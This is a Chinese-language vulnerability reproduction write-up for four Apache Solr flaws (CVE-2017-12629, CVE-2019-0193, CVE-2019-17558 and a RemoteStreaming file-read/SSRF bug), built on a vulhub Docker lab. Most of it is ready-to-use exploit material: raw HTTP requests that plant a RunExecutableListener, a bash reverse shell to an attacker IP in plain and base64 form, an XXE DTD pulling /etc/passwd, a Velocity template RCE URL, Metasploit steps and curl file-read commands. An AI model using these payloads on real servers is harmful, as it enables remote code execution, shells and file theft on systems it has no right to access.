【漏洞复现】Apache系列(二)之Solr漏洞复现

---

Apache Solr XXE & RCE(CVE-2017-12629)

一、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE），二者可以连接成利用链，编号均为CVE-2017-12629。

二、影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

三、漏洞复现

A.RCE 远程命令执行

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2017-12629环境

访问8983端口查看环境是否正常实例化

cd vulhub/solr/CVE-2017-12629-RCE
docker-compose up -d

2.使用nc监听本机端口

nc -lvvp 8899

3.创建一个listener

创建一个listener，其中设置exe的值为我们想执行的命令，args的值是命令参数：（注意：我这里执行的是反弹shell的命令，需要执行其他命令可以自行修改）
将Bash反弹Shell的Code进行Base64加密

bash -i >& /dev/tcp/192.168.102.181/8899 0>&1

编码后：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

修改Host的IP为目标IP

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "编码后的命令"]}}

4.触发listener

然后进行update操作，触发刚才添加的listener： （修改Host的IP为目标IP）

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

5.成功反弹回shell

B.XXE 实体注入

1.在自己的远程服务器上用python起一个http服务

python -m http.server 端口

2.在payload.dtd内写入需要执行的操作

写入如下内容上传payload.dtd，名字可以自取：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

3.发送数据包

将以下数据包中www.baidu.com改为你的vps地址

GET /solr/demo/select?&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+root%5b<!ENTITY+%25+ext+SYSTEM+"http%3a%2f%2fwww.baidu.com%2fpayload.dtd">%25ext%3b%25ent%3b%5d><r>%26data%3b<%2fr>&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.37.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

4.成功读取到/etc/passwd

Apache Solr RCE（CVE-2019-0193）

一、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。

二、影响版本

Apache Solr < 8.2.0

三、漏洞复现

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2019-0193环境

访问8983端口即可查看到Apache solr的管理页面，无需登录。

cd vulhub/solr/CVE-2019-0193
docker-compose up -d

2. 创建一个solr核心test

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

可以访问http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json 查看核心名字

​

3.选择test核心

填入反弹shell的poc（根据需要可以自行修改）：

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("需要执行的命令");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

4.使用nc监听本机端口

nc -lvvp 8899

5. 点击Execute with this Confuguration执行命令

6.成功反弹shell

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

一、漏洞描述

Apache Solr 5.0.0 到 Apache Solr 8.3.1 容易受到通过 VelocityResponseWriter 的远程代码执行的攻击。可以通过 configset 目录中的 Velocity 模板velocity/或作为参数提供 Velocity 模板。用户定义的配置集可能包含可渲染的、潜在的恶意模板。默认情况下禁用参数提供的模板，但可以params.resource.loader.enabled通过定义一个设置为 的响应编写器来启用true。定义响应编写器需要配置 API 访问权限。trustedSolr 8.4 完全移除了 params 资源加载器，并且仅在 configset 为（已由经过身份验证的用户上传）时启用 configset 提供的模板渲染。

二、影响版本

5.0.0 到 8.3.1版本

三、漏洞复现

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2019-17558环境

访问8983端口即可查看到Apache solr的管理页面，无需登录。

2.获取所有的核心

默认情况下params.resource.loader.enabled配置未打开，无法使用自定义模板。我们先通过如下API获取所有的核心：

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

由下图可知唯一核心是demo

3.修改params.resource.loader.enabled

默认情况下为params.resource.loader.enabled为false

用burp构造请求包（注意： 其中URL路径包含刚才获取的core名称 ）

POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

成功修改params.resource.loader.enabled为true

4. 注入Velocity模板即可执行任意命令

(注意： 其中URL路径包含刚才获取的core名称)

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

5.附MSF利用

攻击机:192.168.37.129
目标机:192.168.37.128

执行以下命令,视情况看是否需要设置端口,默认为8983

msfconsole
search solr
use 1
set LHOST 本地IP
set RHOSTS 目标IP
run

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

​

一、漏洞描述

Apache Solr 是一个开源搜索服务器。当 Apache Solr 不启用身份验证时，攻击者可以直接制造请求以启用特定配置，最终导致 SSRF 或任意文件读取。

二、影响版本

Apache Solr <= 8.8.1均受影响

三、漏洞复现

0.环境说明

攻击机:192.168.37.129
目标机:192.168.37.128

1.用docker启动solr 8.2.0版本的靶场

2.获取所有的核心

我们先通过如下API获取所有的核心：

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

由下图可知核心是demo

3. 开启RemoteStreaming

发送如下数据包，修改数据库demo的配置（注意： 其中URL路径包含刚才获取的core名称 ）

curl -i -s -k -X $'POST'  -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://your-ip:8983/solr/demo/config'

4.通过stream.url读取任意文件

（注意： 其中URL路径包含刚才获取的core名称 ）

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'